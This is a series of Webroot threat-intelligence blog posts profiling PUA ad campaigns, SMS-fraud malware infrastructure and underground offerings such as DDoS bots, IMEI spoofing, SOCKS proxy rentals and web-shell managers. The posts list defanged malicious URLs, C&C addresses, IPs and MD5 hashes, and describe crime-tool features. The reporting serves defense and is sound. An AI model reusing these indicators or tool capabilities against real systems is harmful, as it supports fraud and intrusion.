Rogue vendors of **Potentially Unwanted Applications (PUAs)** continue tricking tens of thousands of gullible users into installing deceptive and privacy violating applications. Largely relying on 'visual social engineering' tactics and basic branding concepts, the majority of campaigns convincingly present users with legitimately looking ToS (Terms of Service)/EULA (End User License Agreements) which socially engineered users accept, thereby assuming the responsibility for the potential privacy-violating activities taking place on their host.

We've recently spotted yet another PUA campaign, relying on deceptive "Download Now" types of ads, enticing users into downloading the bogus GetMyFiles (Adware.Linkular) application, as well as the rogue SpeedUpMyPC (Win32.SpeedUpMyPC.A) PUA. Let's profile the campaign, and provide actionable intelligence on the infrastructure behind it.

More details:

Sample screenshot of Adware.Linkular download page:

Sample screenshot of Win32.SpeedUpMyPC.A download page:

Sample redirection chain: *hxxp://ad.propellerads.com/ck.php?oaparams=2__bannerid=91608__zoneid=605__OXLCA=1__cb=__oadest=http%3A%2F%2Fwww.getmyfilesnow.info%2F%3Fpid%3D887%26context%3D%24{SUBID} -> hxxp://www.getmyfilesnow.info/?pid=887&context=4912867270*

Domain name reconnaissance: getmyfilesnow.info – 54.208.165.36

getmyfilesnow.com – 174.142.147.2
coollinks.us – 174.142.147.5
linkular.com – 208.109.216.125

Detection rate for the PUA: MD5: 0d60941d1ec284cab2e861e05df89511 – detected by 6 out of 51 antivirus scanners as Adware.Linkular

Known to have responded to 54.208.165.36, are also the following PUA samples: MD5: e3d7a5dda69a83a4dbffb195fe41e68f
MD5: 3f9e510e2ebe20141dbb8b61ea15e21b
MD5: 9a4dd0724d8d241d748c6b2d4658a996
MD5: 567545c3947667913853ab34bdf38e3b
MD5: 83d21d9a6a1df8a4b4beb6190dbe8266
MD5: a08a35a241b0c7aa6ed7dda7ae8bab1e
MD5: 07aae60ce06590a3b8a4e86d0b94335a
MD5: 9ab73e226bfd9393b13423490d3ed77d
MD5: 75ec259b97e67f1174820beee4cafa29

Once executed, the sample phones back to: hxxp://107.23.152.80/api/software/?s=887&os=win32&output=1&v=2.2.2&l=1033&np=0&osv=5.1&b=ie&bv=8.0.6001.18702&c=12&cv=2.2.2.1768

Known to have been downloaded from the same IP (107.23.152.80) are also the following PUAs: MD5: a3f2dca9cf2fbf0b6221db476b9d889c
MD5: 8f021a07e83f2b455aad969268fbcba7
MD5: 57d1a9c5de77ac85e79ad675df7753dc

Compete Inc's Certificate Serial ID: 4A 4A CA E0 72 F8 06 5D 9C 03 E2 A2 24 09 75 B0
AdvanceMark's Certificate Serial ID: 52 32 D1 95 19 B6 63 90 12 01 63 65 2B E1 E8 9E
Linkular LLC, 2012's Certificate Serial ID: 27 C7 0F 80 92 79 A3

Responding to 107.23.152.80 is also the rogue **mspowerpack.com** , which redirects to *hxxp://www.uniblue.com/cm/foxlingo/speedupmypc/banner1/download* (Win32.SpeedUpMyPC.A).

Known to have been downloaded from the same IP (107.23.152.80) are also the following PUAs: MD5: a3f2dca9cf2fbf0b6221db476b9d889c
MD5: 8f021a07e83f2b455aad969268fbcba7
MD5: 57d1a9c5de77ac85e79ad675df7753dc

Sample detection rate for the Win32.SpeedUpMyPC.A PUA: **MD5: 0a8ecb11e39db5647dcad9f0cc938c99** – detected by 3 out of 51 antivirus scanners as PUP.Optional.SpeedUpMyPC

Known to have been downloaded from uniblue.com (176.34.125.17; 46.137.104.179; 50.19.240.60; 54.217.212.162; 54.246.105.117) are also the following PUAs: MD5: 178e9cf3c95c0867104f14310bec10cf
MD5: 573a55f36b0ff521ac5012a7ae935a04
MD5: 3ee4e5cc4ee74b45fbbba507181efaeb
MD5: 563750b3b4a7f00115c83708a7e95d39
MD5: a59e9a0ce57365bbef2042f52d622539
MD5: abc3534ef2b1086330151ef42423d208
MD5: d41ea1f04ef610566b0ad4750b2040e7

Uniblue Systems's Certificate Serial ID: 38 B5 E3 0A ED 74 F6 CD 05 D8 F2 0F 18 E8 91 E2

Webroot SecureAnywhere users are proactively protected from these PUAs.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Commercially available database of 52M+ ccTLD zone transfer domains spotted in the wild - Webroot Blog

facebook linkedin twitter

For years, cybercriminals have been building **‘hit lists’** of **potential targets** through automated and efficiency-oriented reconnaissance **TTPs (tactics, techniques and procedures)** . The aim is to fraudulently/maliciously capitalize on these databases consisting of both corporate and **government users** . Seeking a positive return on their fraudulent/malicious activities, cybercriminals also actively apply basic **QA (Quality Assurance)** processes, **standardization** , systematic releasing of **DIY (do-it-yourself)** cybercrime-friendly applications – all to further ensure a profitable outcome for their campaigns. Thanks to the active implementation of these TTPs, in 2014, the **market segments** for **spam-ready managed services** /**blackhat SEO (search engine optimization)** continue to flourish with experienced **vendors** starting to ‘**vertically integrate’** within the cybercrime ecosystem which is an indication of an understanding of basic business/economic processes/theories.

We’ve recently spotted a cybercrime-friendly service that’s offering commercial access to 50M+ ccTLD zone transfer domains whose availability could lead to a widespread mass abuse. Let’s profile the service and discuss its relevance/potential for abuse in the overall threat landscape.

More details:

Sample screenshots of the commercial database of 50M+ ccTLZ done transfer domains, spotted in the wild:

The commercially available database currently consists of 52M+ international ccTLD zone transfer domains, empowering cybercriminals with the necessary ‘touch points’ for launching dictionary attacks, active **email** and **phone number harvesting campaigns** , ultimately leading to segmented email/domain/phone databases, resulting in, both, targeted/**mass Web site hacking campaigns** . Next to the potential for data mining these databases, leading to a higher probability for launching successful APT (advanced persistent threat) type of campaign, potential cybercriminals are also perfectly positioned to exploit the **mass reconnaissances process** for the purpose of **embedding malicious scripts** /**Web shells** /**anonymity based gateways** , through basic Web server/CMS fingerprinting.

For years, cybercriminals have been actively abusing their (fraudulently) obtained access to **compromised/hacked databases** , successfully **exfiltrating sensitive content** , further resulting in the evident rise of services directly contributing to the overall growth of the cybercrime ecosystem. According to Verion’s most recent ‘**2013 Data Breach Investigations Report** ‘, the use of stolen credentials, next to **malware campaigns** , resulted in the majority of data breaches for the organization’s participating in their sample.

We’ll continue monitoring the development of the service and post updates as soon as new developments/market competitors take place/enter the market.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Managed anti-forensics IMEI modification services fuel growth in the non-attributable TDoS market segment - Webroot Blog

facebook linkedin twitter

Everyday cybercriminals actively take advantage of basic **OPSEC (Operational Security)** tactics, aiming to **risk-forward their fraudulent/malicious online activity** to a third-party, while continuously seeking to launching their malicious/fraudulent campaigns in an anonymous fashion. Having successfully matured from, what was once a largely immature market segment to today's growing market segment, in terms of **active implementation of OPSEC concepts** , the blackhat market is prone to continue expanding, further providing malicious and fraudulent adversaries with the necessary capabilities to remain beneath the radar of law enforcement and the security industry.

In a series of blog posts we've published throughout 2013, we proactively highlighted the emergence of the **TDoS (Telephony Denial of Service)** attacks in the context of cybercriminals' growing non-attributable capabilities to target and **exploit (basic) vulnerabilities in telephone/mobile systems internationally** . Largely relying on **fraudulently obtained SIM cards** and compromised accounting data at **legitimate VoIP providers** , as well as active utilization of purely malicious **infrastructure** , TDoS vendors constantly seek new tactics to apply to their OPSEC procedures.

Having proactively profiled the TDoS market segment throughout 2013, we're also keeping eye on value-added services/features, namely, the modification of a mobile device/USB dongle's International Mobile Station Equipment Identity (IMEI), for the purpose of adding an additional layer of anonymity to the fraudulent/DoS process. Let's profile several vendors offering IMEI modification services and discuss their relevance within the TDoS market segment.

More details:

Sample screenshots of the IMEI modification process by multiple vendors of the anonymity and non-attribution centered service:

What’s particularly interesting about these services is the fact that they rely on automatically-generated IMEI codes which provide **plausible deniability** when launching malicious or fraudulent attacks. The services that we’re currently aware of rely on **DIY (do-it-yourself)** type of valid IMEI generating applications. Priced at $450, a sampled application targets both Windows and Linux users and is exclusively targeting Huawei USB dongles, with the company currently possessing a **55% international market share for datacards** . We expect that cybercriminals will start applying this OPSEC tactic to their fraudulently obtained SIM cards/datacards, in an attempt to add an additional layer of OPSEC to their campaigns.

We’ll continue monitoring the TDoS market segment and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a modular, Tor C&C enabled, Bitcoin mining malware bot - Webroot Blog

facebook linkedin twitter

Cybercriminals continue to maliciously 'innovate', further confirming the TTP (tactics, techniques and procedure) observations we made in our **Cybercrime Trends – 2013** assessment back in December, 2013, namely, that the diverse cybercrime ecosystem is poised for exponential growth. Standardizing the very basics of fraudulent and malicious operations, throughout the years, cybercriminals have successfully achieved a state of 'malicious economies of scale, type of **economically efficient model** , successfully contributing to international widespread financial and intellectual property theft. Thanks to basic cybercrime disruption concepts, such as modular **DIY (do-it-yourself)** commercial and publicly obtainable malware/botnet generating tools. In 2014, both sophisticated and novice cybercriminals have everything they need to reach an efficient state of fraudulent/malicious operation.

We've recently spotted a commercially obtainable modular, **Tor C&C enabled** , **Bitcoin mining** malware/botnet generating tool. Let's discuss its features, key differentiation factors and take a peek inside it's Web-based command and control interface.

More details:

Sample screenshots of the modular, Tor C&C enabled, Bitcoin mining malware/botnet generating tool's Web based interface:

Priced at $250, and coded in C, the malware/botnet generating tool supports all Windows versions (XP up to 8.1 on x86/x64 hosts), and possesses the cybercrime ecosystem's standard anti-debugging features. It also encrypts the plugins (modules), with AES-128-CBC. As a related key differentiation feature, it also applies a decent degree of **OPSEC (Operational Security)** to the bot's Web-based command and control interface. A few examples are brute-force protection for the admin's panel and SQL injection protection for the Web based interface. The OPSEC features introduced by the vendor are **an indication** for decent **situational awareness** on behalf of the vendor in terms of the industry's response to **large scale botnet infrastructures** over the years.

Not surprisingly, the vendor is also Tor-aware in the context of what we believe is a perceived value-added feature in terms of OPSEC. Compared to alternative competing malware/botnet generating tools/platforms within the cybercrime ecosystem, this bot's command and control domain structure is generated using a **Domain Generation Algorithm (DGA)** within the Tor network. While Tor can provide additional protection for domain hosting, it also has flaws. Case in point, the **Sefnit botnet** , which despite its reliance on Tor for C&C communications which gave it a boost in terms of OPSEC/growing infected population, ironically, also introduced a potentially exploitable third-party software, a vulnerable Tor client in this case.

Featured modules/plugins: – DDoS bot functionality
– Form grabbing features — tested against major Web properties
– Socks5 module
– Passwords stealing module
– (Experimental) task-capable Bitcoin/Litecoin mining feature

Despite its experimental state, the bot's vendor is also emphasizing on the fact that the prospective cybercriminal can also take advantage of any of the **commercially/publicly obtainable stealth Bitcoin mining tools** , like the ones we've been extensively profiling in a series of blog posts.

We'll continue monitoring this bot's development and will post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Socks4/Socks5 enabled hosts as a service introduces affiliate network based revenue sharing scheme - Webroot Blog

facebook linkedin twitter

Thanks to the commercial and public availability of **DIY (do-it-yourself)** modular malware/botnet generating tools, the diverse market segment for **Web malware exploitating kits** , as well as **traffic acquiring/distributing cybercrime-friendly traffic exchanges** , cybercriminals continue populating the cybercrime ecosystem with newly launched services offering **API-enabled access to Socks4/Socks5 compromised/hacked hosts** . Largely relying on the ubiquitous **affiliate network revenue sharing/risk-forwarding scheme** , vendors of these services, as well as products with built-in **Socks4/Socks5** enabled features, continue acquiring new customers and gaining market share to further capitalize on their maliciously obtained assets.

We've recently spotted a newly launched affiliate network for a long-run — **since 2004** — compromised/hacked hosts as a service. Let's profile the service, discuss its key differentiation factors, and take a peek inside its Web based interface.

More details:

Sample screenshot of the Socks4/Socks5 cybercrime-friendly service:

Supplying fellow cybercriminals with access to compromised/hacked hosts with **clean IP reputations** empowers them to further commit fraudulent/malicious activities while risk-forwarding the responsibility for their actions to the hundreds of thousands of gullible and socially engineered users across the globe. The service currently has an inventory of 13,798 Socks4/Socks5 enabled hosts and is capable of supplying over 10,000 new hosts on a daily basis. The service's vendor is 'naturally' implying that the hosts can be directly utilized for a variety of fraudulent and malicious

TTPs (tactics, techniques and procedures) . Let’s take a peek at the Web based interface for the affiliate network.

Sample screenshots of the affiliate network’s main site:

Sample screenshots of the Web based affiliate based interface:

Socks4/Socks5 enabled hosts continue to represent a key driving force behind the growth of the cybercrime ecosystem in terms of **non-attributable stepping-stones capabilities** and clean IP reputation based managed services. These services further empower vendors of **automatic account registration tools** with the necessary foundation to continue efficiently abusing **legitimate Web properties** . Based on our observations, the overall supply of Socks4/Socks5 enabled hosts is also contributing to the development of a vibrant market segment with more **vendors pushing new Socks4/Socks4-specific releases** that utilize this **fraudulently generated infrastructure** . We expect this market segment will continue flourishing with more vendors/services popping-up on everyone’s radar.

We’ll continue monitoring the development of the service/market segment and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

5M+ harvested Russian mobile numbers service exposes fraudulent infrastructure - Webroot Blog

facebook linkedin twitter

Cybercriminals continue adapting to the exponential penetration of mobile devices through the systematic release of **DIY (do-it-yourself)** mobile number **harvesting tools** , successfully setting up the foundations for **commercial managed** /**on demand mobile phone number harvesting services** , ultimately leading to an influx of mobile malware/spam campaigns. In addition to boutique based DIY operations, sophisticated, 'innovation' and market development-oriented cybercriminals are actively working on the development of **commercially available** Android-based **botnet generating tools** , further **fueling growth into the market segment** .

In a series of blog posts, we've been profiling multiple cybercrime-friendly services/malicious Android-based underground market releases, further highlighting the professionalization of the market segment in terms of sophistication and **QA** (**Quality Assurance**).

We've recently spotted a service offering 5M+ harvested and segmented Russian mobile phone numbers on a per business status/gender/driving license basis. What's particularly interesting about this service is the fact that it exposes a long-run fraudulent Win32:SMSSend serving infrastructure (**SEVAHOST-AS Seva-Host Ltd (AS49313**), segmented harvested mobile phone numbers of Sochi citizens, a fake (paid) medical leave/absence service targeting Sochi citizens, and a portfolio of rogue mobile apps leading to the exposure of a mobile botnet, surprisingly relying on an identical hardware/bot ID.

More details:

Sample screenshot of the 5M+ harvested mobile phone numbers service:

The service's main URL responds to 91.228.155.210.

Parked on the same IP (91.228.155.210) are also the following fraudulent/cybercrime-friendly domains: hxxp://instagramm-registration.ru

Related rogue game MD5s known to have been (historically) hosted at the same IP (91.228.155.210): MD5: 68c1c11d86bc272e9a975400e2991e41
MD5: 3ccf8cfc88d7228e8e4345d389ce56ef
MD5: 6bf0482a0bd8fcf19a88e7a03abd69ef
MD5: 232c501fec973e8923143e41b520f698
MD5: 5601f871f3f1873c1da971358799f088
MD5: 94abca6d4ec24fdbe1ec74f40b4a77cd
MD5: 126bc6cb8e58c7859768d9390c726774
MD5: 966e3bbd0f77463403bb200454544cd4

The following malicious MD5s are also known to have phoned back to the same IP (91.228.155.210): MD5: 6e6a09ec8235705f314ed2fae8fab01a
MD5: 676dc0a061886bf537e01ddceb6c9230

The existence of the secondary services (segmented mobile phone numbers belonging to Sochi citizens/paid medical leave services), parked on the same IP as the original 5M+ harvested mobile phone numbers offering service, is a decent example of market segmentation in the context of an event-based type of underground market offering targeting the Sochi Olympics. Not surprisingly, cybercriminals have already taken advantage of this segment, and in a true fraudulent/malicious nature, have launched social engineering driven **Android-based malware serving SMS spam campaigns** (MD5: 361e92c344294d8b4fce0c302f61716a).

Sample screenshot of the fraudulent Instagram site parked on the same IP (91.228.155.210):

Redirection chain for the rogue Instagram app site: *hxxp://instagramm-registration.ru/ -> hxxp://domainusers.biz/?page=lending&type=soft&size=1&ext=rar&link=http://tds-link-asg.biz/?tds=1275&page=search&parent=similar&key=Instagram_registration_(soft).zip&key=programma_instagram_register_PC -> hxxps://www.tcsbank.ru/credit/form/cash/?*

utm_source=troywell_apr_cc&utm_medium=aft.apr&utm_content=network&utm_campaign=creditcard&wm=1otx&sid=701411425&prx=701411425

Redirectors domain name reconnaissance: domainusers.biz – 91.202.63.117
tds-link-asg.biz – 91.202.63.119

Name server reconnaissance for the redirectors: NS11.LIMONBUCKS.COM – 91.217.85.34 – Email: sevacash@gmail.com – **SEVAHOST-AS Seva-Host Ltd (AS49313)**
NS12.LIMONBUCKS.COM – 91.217.85.37 – Email: sevacash@gmail.com

Name servers resonnaissance of the rogue/fraudulent mobile apps serving rogue affiliate network operating the redirectors: ns1.sevadns.com – 91.217.85.35 – hxxp://sevadns.com -> hxxp://seva-hosting.com (91.217.85.35)
ns1.sevadns.com – 91.217.85.36

A peek inside sample statistics from the rogue mobile apps serving affiliate network:

Known to have phoned back to (**91.202.63.119; tds-link-asg.biz**) is also the following malicious **MD5: bf0074d6e2745925ec8ef3225a2052e1** . Known C&C – *hxxp://91.202.63.119/showthread.php?j6m=452416&nmhn=401c4ab9717ac07af8449176f3b07cfb&o=8,f4aacf34b635ccbe03dcc87bc52e7c49* . Responding to the same IP, is also the Web site of the **mobile traffic/rogue apps serving affiliate network** .

Known C&C domain responding to the same IP: majdong.ru (91.202.63.119)

Related DNS requests performed by the sample (MD5: bf0074d6e2745925ec8ef3225a2052e1) : edreke.ru
edreke.ru.ovh.net

Name servers reconnaissance: Name server: ns1.zippro.ru – 37.221.164.2
Name server: ns2.zippro.ru – 37.221.164.3

Known to have phoned back to the same C&C server majdong.ru (91.202.63.119) are also the following malicious MD5s: MD5: 9a05f7572ff50115fb22a4b3841ab137
MD5: 00adadb8e8a1d73c444134f2d1c1fba0
MD5: 651397e89d4b5687d1c8ce4834dc4234
MD5: bf0074d6e2745925ec8ef3225a2052e1

Known to have been downloaded from the same IP (ns1.zippro.ru – 37.221.164.2) are also the following malicious MD5s: MD5: b58b0539818762becd4f5051a3c81b46
MD5: a385f6362f5ceb69db4c03ed324dfc34

Known to have phoned back to (ns1.zippro.ru – 37.221.164.2) are also the following malicious MD5s: MD5: c6e5c1508ace1dfed450f8f69b11f1e6
MD5: f5399127b908f5a3ad994ca0e681cb26
MD5: aad3f6de5ae8c595797c55716a83adde

Known to have been downloaded from the same IP (ns2.zippro.ru – 37.221.164.3) are also the following malicious MD5s: MD5: 522c729109ba4a51b5f361d33b5b3edb
MD5: 243934ec2546c54c1cb6d9309896a035
MD5: 578d5a1f5b968d01e553f7c94e12b235
MD5: b7baa6ccf6d9242b7e5d599830fa12b1

Known to have phoned back to (ns2.zippro.ru – 37.221.164.3) are also the following malicious MD5s: MD5: ac3477ad87db7cfe4373cb2135eb1387
MD5: be49f224212ac9e05ae6b67b299350f2
MD5: a6f82de33bf03e8cb197cbc426942dca
MD5: 3204e633b6892171830004aedc5b6907
MD5: e31e8f4805768c326e28c68a6f406acc
MD5: d9920001704950e4f4c18d6e2ec30aae
MD5: 132cec7617f656db385d7acf31cd3393
MD5: be49f224212ac9e05ae6b67b299350f2
MD5: a6f82de33bf03e8cb197cbc426942dca
MD5: 93dfb678ecd06d27e59f96f2f30a52d5

Based on our analysis, we were able to successfully identify an identical pseudo-random hardware ID/bot ID, that we were also able to connect to related W32.SMSSend campaigns, further confirming that cybercriminals continue to actively multi-task in 2014 .

Related W32.SMSSend hardware ID/bot ID campaigns using the same pseudo-random ID: 401c4ab9717ac07af8449176f3b07cfb

Sample fraudulent W32.SMSSend MD5s relying on the same pseudo-random ID known to have phoned back to 64.120.227.154/185.15.209.17: MD5: ac3477ad87db7cfe4373cb2135eb1387
MD5: be49f224212ac9e05ae6b67b299350f2
MD5: a6f82de33bf03e8cb197cbc426942dca
MD5: 93dfb678ecd06d27e59f96f2f30a52d5
MD5: 3204e633b6892171830004aedc5b6907
MD5: e31e8f4805768c326e28c68a6f406acc
MD5: d6e06c98db7a0d38440d300accf8c730
MD5: d74528f426054fdcaca65a7e25b0d8dd
MD5: d1aa5e38fabe1811dfa113c6185c665e
MD5: 97141a85483998dff7e4aa04ce39b4f3
MD5: c6f2f67ddb2da9cebd9a669d964df6a7
MD5: 405b25f0834ad6c50ddfa203ac3112b4

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Multiple spamvertised bogus online casino themed campaigns intercepted in the wild - Webroot Blog

facebook linkedin twitter

Regular readers of Webroot's Threat Blog are familiar with our **series of posts** detailing the proliferation of social engineering driven, privacy-violating campaigns serving W32/Casino variants. Relying on **affiliate based revenue sharing schemes** and **spamvertised** campaigns as the primary **distribution vectors**, the rogue operators behind them continue tricking **tens of thousands of gullible users** into installing the malicious applications.

We've recently intercepted a series of spamvertised campaigns distributing W32/Casino variants. Let's profile the campaigns, provide actionable intelligence on the rogue domains involved in the campaigns, as well as related MD5s known to have interacted with the same rogue infrastructure.

More details:

Sample screenshots of the landing pages for the rogue casinos:

Spamvertised URLs: hxxp://bit.ly/1brCoxg
hxxp://bit.ly/1bQRudq
hxxp://bit.ly/1mLQr5I
hxxp://bit.ly/MCOyaL
hxxp://bit.ly/1ec3UMN
hxxp://bit.ly/1hN6Vbd
hxxp://bit.ly/1mQ3XFu
hxxp://bit.ly/17DJ4pZ
hxxp://bit.ly/1ec2JNa
hxxp://bit.ly/1fBY6d5

W32.Casino PUA domains reconnaisance: hxxp://rubyfortune.com – 78.24.211.177

hxxp://grandparkerpromo.com – 95.215.61.160
hxxp://kingneptunescasino1.com – 67.211.111.169
hxxp://riverbelle1.com – 193.169.206.233
hxxp://europacasino.com – 87.252.217.13
hxxp://vegaspartnerlounge.com – 66.212.242.136

Sample detection rates for the W32/Casino PUA: **MD5: b80db6ec0e6c968499ce01232fbfdc5c** – detected by 3 out of 50 antivirus scanners as as W32/Casino.P.gen!Eldorado
MD5: 8326886267203e07145f63adf2e8f0a1 – detected by 3 out of 50 antivirus scanners as Heuristic.BehavesLike.Win32.Suspicious-DTR.S
MD5: a2a545adf4498e409f7971f326333333 – detected by 3 out of 50 antivirus scanners as W32/Casino.P.gen!Eldorado
MD5: 1cd6db7edbbc07d1c68968f584c0ac82 – detected by 3 out of 49 antivirus scanners as W32/Casino.P.gen!Eldorado

Once executed the sample phones back to: clatz.fileslldl.eu – 87.248.203.254

Known to have been downloaded from the same IP (87.248.203.254) are also the following W32/Casonline variants:
MD5: 06c6b0381cde4720a5204ac38a5f22b9
MD5: 1022bef242c7361866f7af512ec893e0
MD5: c1a6055f5d240d3681febc6bd77701eb
MD5: e5fd6aa437b3520f35337d2dd7139f9a
MD5: 6f671307724980081 8f26b7469eaf175
MD5: 6ebdf6f7187effe7b52463cf7241297a
MD5: 6ed118798a19a5dbf63a9279f33e0542
MD5: 6b651437a4553b91139178a930247035
MD5: e1beeae4d07942c7fca6eea945c9bdcd
MD5: 6ab968f86300ca677e9700f7c2dee8be
MD5: 6a872111b70e401cf083a7d27b45a74e
MD5: f85fa2bb2dff0333650db371e323e962

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Commercial Windows-based compromised Web shells management application spotted in the wild - part two - Webroot Blog

facebook linkedin twitter

Sticking to good old fashioned **TTPs (tactics, techniques and procedures)** , cybercriminals continue mixing **purely malicious infrastructures** with **legitimate ones** , for the purpose of abusing the clean IP reputations of networks, on their way to achieving positive **ROI (return on investment)** for their fraudulent activities. For years, this mix of infrastructures has lead to the emergence of the 'malicious economies of scale' concept, in terms of **efficient abuse** of **legitimate Web properties** , next to the **intersection of cybercriminal online activity, and cyber warfare** .

In a series of **blog posts** , we've been emphasizing on the level of automation and **QA (Quality Assurance)** applied by vendors of cybercrime-friendly tools and services, compromised/hacked Web shells in particular. Largely utilized for the hosting of fraudulent/malicious content, in addition to **acting as stepping stones** for the purpose of providing a cybercriminal with the necessary degree of anonymity when launching campaigns, the concept continues representing an inseparable part of the cybercrime ecosystem, due to the **ever-green public/OTC (over-the-counter) marketplace for high page-ranked Web shells** .

We've recently spotted a newly released commercial Windows-based compromised/hacked Web shells management application that empowers potential cybercriminals with the necessary capabilities to maintain and manage their portfolio of Web shells. Let's take a peek at the application, and discuss some of its features.

More details:

Sample screenshots of the Windows based compromised/hacked Web shells management application:

Some of its core features include: – Web shell validation – **Signatures-based detection/removal of competing shells** – Domains count on a per compromised/hacked Web shell basis for **the purpose** of monetizing the data by selling it to **prospective buyers** – Removal/modification of .htaccess

Priced at $100, the application's key differentiation factor is the ability to detect and remove competing shells through a **signatures-based** process. This once again puts the spotlight on the '**Tragedy of Commons** ' theory, in **the broader context** of today's **over-populated underground marketplace** , and the flawed notion that specific vendors believe that the more cybercriminals join the ecosystem, the less revenue will flow back their way. Thanks to the ever-green market segment for hacked/compromised Web shells accounting data, as well as the **systematic remote exploitation of vulnerable Web applications** /**CMS (content management systems)** , cybercriminals remain in a perfect position to continue monetizing these TTPs, for the purpose of launching fraudulent/malicious campaigns.

We'll continue monitoring the development of the tool.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Managed Web-based 300 GB/s capable DNS amplification enabled malware bot spotted in the wild - Webroot Blog

facebook linkedin twitter

Opportunistic cybercriminals continue 'innovating' through the systematic release of **DIY (do-it-yourself)** , Web-based, botnet/malware generating tools, seeking to **monetize their coding 'know-how'** and overall understanding of abusive/fraudulent/malicious **TTPs (tactics, techniques and procedures)** – all for the purpose of achieving a positive ROI with each new release.

We've recently spotted a newly released, Web-based **DNS amplification** enabled **DDoS bot** , and not only managed to connect it to what was once an active DDoS attack, but also, to the abuse of a publicly accessible open DNS resolver which has been set up for research purposes. Let's discuss some of its features and take a peek at the bot's Web-based command and control interface.

More details:

Sample screenshots of the administration panel of the Web-based DNS amplification DDoS enabled malware bot:

Just like we've seen with previous cybercrime-friendly releases, cybercriminals continue to stick to proven **risk-forwarding tactics** , consisting of pitching releases 'for educational purposes only', with the idea to be only utilized as a tool for performing stress testing scenarios.

Written in C, the bot is relies on its own obfuscation and packing algorithm. Packed, the binary's size is approximately 30kb. Next to the active use of the **Hardware ID** licensing system, the bot's C&C communications are also encrypted by default. It includes a built-in DNS scanner, for finding mis-configured DNS servers, to be used in high-bandwidth powered DNS amplification DDoS attacks which are utilized by a number of **threat actors** . Priced at $2,500, the vendor is also applying an additional **OPSEC vector** to the proposition, in the context of offering the option to host the actual archive, encrypted, on a server of choice based on the customer's preferences, with the actual passphrase communicated in a secure fashion. It also offers a cybercrime-friendly **bulletproof hosting** option for hosting of the bot's C&C. Among the value-added features offered by the vendor, is the ability to access a pre-configured VPN server to be exclusively used when accessing the bot's interface.

What's particularly interesting about this bot is the fact that the vendor's demo included a live demonstration of the abuse of a publicly accessibly open DNS resolver, set up for research purposes. In combination with, both, the built-in mis-configured DNS scanner, high power managed/rented bulletproof server, as well as the active abuse of data obtained from publicly obtainable sources, we're positive that the bot is poised to quickly gain marker share.

As always, we'll continue monitoring the development of the tool.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Deceptive ads expose users to PUA.InstallBrain/PC Performer PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

Deceptive ads continue to represent the primary distribution vector for the vast majority of **Potentially Unwanted Applications (PUAs)** that we track. Primarily relying on 'visual social engineering' tactics, gullible end users fall victims to these privacy-violating applications, largely due to the fact that they instantaneously agree to the terms in the End User's Agreement presented to them.

We've recently spotted yet another variant of the **InstallBrain** family of Potentially Unwanted Applications (PUA's), tricking users into installing a bogus PC performance boosting application. Let's assess this campaign and provide actionable intelligence on the domains/IPs and related privacy-violating MD5s known to have shared the same infrastructure as the initial PUA profiled in this post.

More details:

Sample screenshot of the landing page:

Sample detection rate for PurpleTech Software Inc's PC Performer: **MD5: f85a9d94027c2d44f33c153b22a86473** – detected by 10 out of 50 antivirus scanners as PUA.InstallBrain!

Once executed, the sample phones back to: hxxp://inststats-1582571262.us-east-1.elb.amazonaws.com – 23.21.180.138
hxxp://api.ibario.com – 50.22.175.81
hxxp://107.20.142.228/service/stats.php?sv=1
hxxp://174.36.241.169/events

Domain name reconnaissance: api.ibario.com – 50.22.175.81; 96.45.82.133; 96.45.82.197; 96.45.82.69; 96.45.82.5
thepcperformer.com – 96.45.82.5; 96.45.82.69; 96.45.82.133; 96.45.82.197

Certificate Serial Number: 043990240F90A4

Known to have responded to the same C&C server (23.21.180.138) are also the following MD5s: MD5: b800f82c629071204f3b6269d1e0035f
MD5: f52f3aaa4a2110703fb07a116b776500
MD5: 8447db94f58e177f639947498a57d4c5
MD5: 696e77da62c46b21569f44029b32d5e4
MD5: a05d4b59b78754343ea44e10cd8f033c
MD5: d9519e08fce5e4676a18ab8d967e5637
MD5: b2cd692bb0850a9c90686d6268b515fb
MD5: d9519e08fce5e4676a18ab8d967e5637

Known to have phoned back to the same IP (50.22.175.81) are also the following MD5s: MD5: 929e73980f38e888cd8a6fc8bf47ec27
MD5: 7995c42bb868b2bcf8ba5741a1cb108d
MD5: f9a72d16d8cb4490b3bed9e2559b96da
MD5: 34bfa81f4aee300f64a42e3ff310139f
MD5: 28644086db2b113585e9ed4105913f28
MD5: 414da62a25283c6c970eb9e37d708297
MD5: 790e98e29fa4170a9fe1de7d2379212a
MD5: cf5891ce42879fb3576c2c93513f8ae4
MD5: bd4607cef78cb092752889ea6597dc15
MD5: 0aa60ccb65c57ef4766b653680641c15
